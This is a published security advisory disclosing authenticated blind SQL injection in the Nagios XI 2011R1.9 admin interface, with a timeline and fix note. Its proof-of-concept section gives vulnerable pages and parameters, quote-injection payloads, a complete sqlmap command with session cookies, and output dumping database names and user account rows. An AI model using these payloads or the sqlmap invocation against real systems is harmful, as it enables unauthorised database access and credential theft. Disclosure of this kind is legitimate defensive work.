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securityvulnsSecurityvulnsSECURITYVULNS:DOC:28815
HistoryDec 09, 2012 - 12:00 a.m.

NGS000194 Technical Advisory: Nagios XI Network Monitor Blind SQL Injection

2012-12-0900:00:00
vulners.com
34

=======
Summary

Name: Nagios XI Network Monitor - Blind SQL Injection
Release Date: 30 November 2012
Reference: NGS00194
Discoverer: Daniel Compton <[email protected]>
Vendor: Nagios
Vendor Reference: 0000282
Systems Affected: Nagios XI Network Monitor 2011R1.9
Risk: High
Status: Published

========
TimeLine

Discovered: 30 January 2012
Released: 31 January 2012
Approved: 31 January 2012
Reported: 31 January 2012
Fixed: 7 June 2012
Published: 30 November 2012

===========
Description

Nagios XI Network Monitor 2011R1.9 - Blind SQL Injection within the administrator/monitoring interface. This is a commertical product for monitoring severs and network monitoring equipment.

I. VULNERABILITY

Nagios XI Network Monitor 2011R1.9 suffers from Blind SQL injection in several pages and parameters. This is exploitable as an authenticated user.

II. BACKGROUND

Nagios provide enterprise level network and server monitor software.

http://www.nagios.com/

III. DESCRIPTION

SQL injection has been found and exploited/confirmed within the software as an authenticated user. This is the latest version of Nagios XI.

=================
Technical Details

IV. PROOF OF CONCEPT

The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/nagiosql/admin/checkcommands.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/servicegroups.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/hostgroups.php (POST parameters: chbActive)
/nagiosql/admin/services.php (POST parameters: chbActive)
/nagiosql/admin/hosts.php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval)

Manual confirmation of the chbActive parameter, insering a single '

tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1'&hidActive=&modus=insert&hidId=&hidLimit=0
tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1''&hidActive=&modus=insert&hidId=&hidLimit=0

Exploiting with SQLMap:

python sqlmap.py --url http://192.168.1.121/nagiosql/admin/checkcommands.php --cookie "PHPSESSID=bbfqbou8tq71591ct6qrcakpg5; nagiosxi=nv78nq36n551h3e63ooprpe556" --data="tfName=ls&tfCommand=x.txt&selCommandType=0&chbActive=1&hidActive=&modus=insert&hidId=&hidLimit=0" --dbms=mysql -p chbActive --dbs

[14:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[14:55:26] [INFO] fetching database names
[14:55:26] [INFO] the SQL query used returns 3 entries
[14:55:26] [INFO] retrieved: information_schema
[14:55:26] [INFO] retrieved: nagiosql
[14:55:26] [INFO] retrieved: test
available databases [3]:
[] information_schema
[
] nagiosql
[*] test

[14:25:26] [INFO] fetching entries for table 'tbl_user' on database
'nagiosql'
[14:25:26] [INFO] the SQL query used returns 2 entries
[14:25:26] [INFO] retrieved: 11111111
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: Administrator
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: 2012-01-30 12:29:41

[14:25:27] [INFO] retrieved: 2009-10-22 12:53:49
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: ccc<CUT>2f014bb
[14:25:28] [INFO] retrieved: nagiosadmin
[14:25:28] [INFO] retrieved: 0
[14:25:28] [INFO] retrieved: 11111111
[14:25:28] [INFO] retrieved: 1
[14:25:28] [INFO] retrieved: Nagios XI Subsystem Account
[14:25:28] [INFO] retrieved: 4
[14:25:28] [INFO] retrieved: 2012-01-30 13:52:09
[14:25:29] [INFO] retrieved: 2009-10-22 12:55:08
[14:25:29] [INFO] retrieved: 0
[14:25:29] [INFO] retrieved: cccc<CUT>2f014bb
[14:25:29] [INFO] retrieved: nagiosxi
[14:25:30] [INFO] retrieved: 0

===============
Fix Information

Fixed in 2012 version

http://labs.nagios.com/2012/04/13/nagios-xi-ccm-full-beta/

NCC Group Research
http://www.nccgroup.com/research

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